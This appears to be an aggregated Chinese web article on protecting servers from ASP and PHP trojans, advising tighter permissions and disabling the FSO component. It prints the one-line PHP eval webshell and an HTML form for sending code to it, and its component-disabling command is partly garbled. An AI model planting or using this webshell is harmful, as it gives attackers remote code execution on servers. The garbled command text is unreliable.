如何在系统下有效防范PHP木马的方法
Posted
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了如何在系统下有效防范PHP木马的方法相关的知识，希望对你有一定的参考价值。
参考技术A ASP木马攻击原理一般是通过文件上传漏洞，传送木马文件到服务器里，然后运行就可以读取你系统里的所有资料了。一般的ASP木马文件是利用FSO组件进行操作的，也有不用FSO组件的。针对如上情况，要如何去防止ASP木马，就必须做好如下三方面： 1、服务器的权限设置 2、做好ASP程序的验证功能，防止有漏洞被利用 3、关闭或更改相关的组件名称 1，2两方面可以查阅创新思维网站的相关文章，在这里主要是说第3个方面 1）针对利用FSO写的ASP木马的防止办法是最好的防止方式是把FSO功能关掉 在开始--运行处输入：Regsvr32 /u c:\windows\system32\scrrunwork (classid:093ff999-1ea0-4079-9525-9614c3504b74) wscript.network.1 (classid:093ff999-1ea0-4079-9525-9614c3504b74) adodb.stream (classid:00000566-0000-0010-8000-00aa006d2ea4) 经过如上处理后，哪怕是有ASP木马传到你的服务器，也能阻止它的一些破坏行为。php eval函数一句话木马代码
eval可以用来执行任何其他php代码，所以对于代码里发现了eval函数一定要小心，可能是木马 就这一句话害死人，这样任何人都可以post任何文件上来，所以要做好防范 <?php @eval($_POST[‘c‘]);?> 使用方法也很简单，本地提交文件指向提交文件，里面的php代码就会被执行 <html> <body> <form action="a.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
以上是关于如何在系统下有效防范PHP木马的方法的主要内容，如果未能解决你的问题，请参考以下文章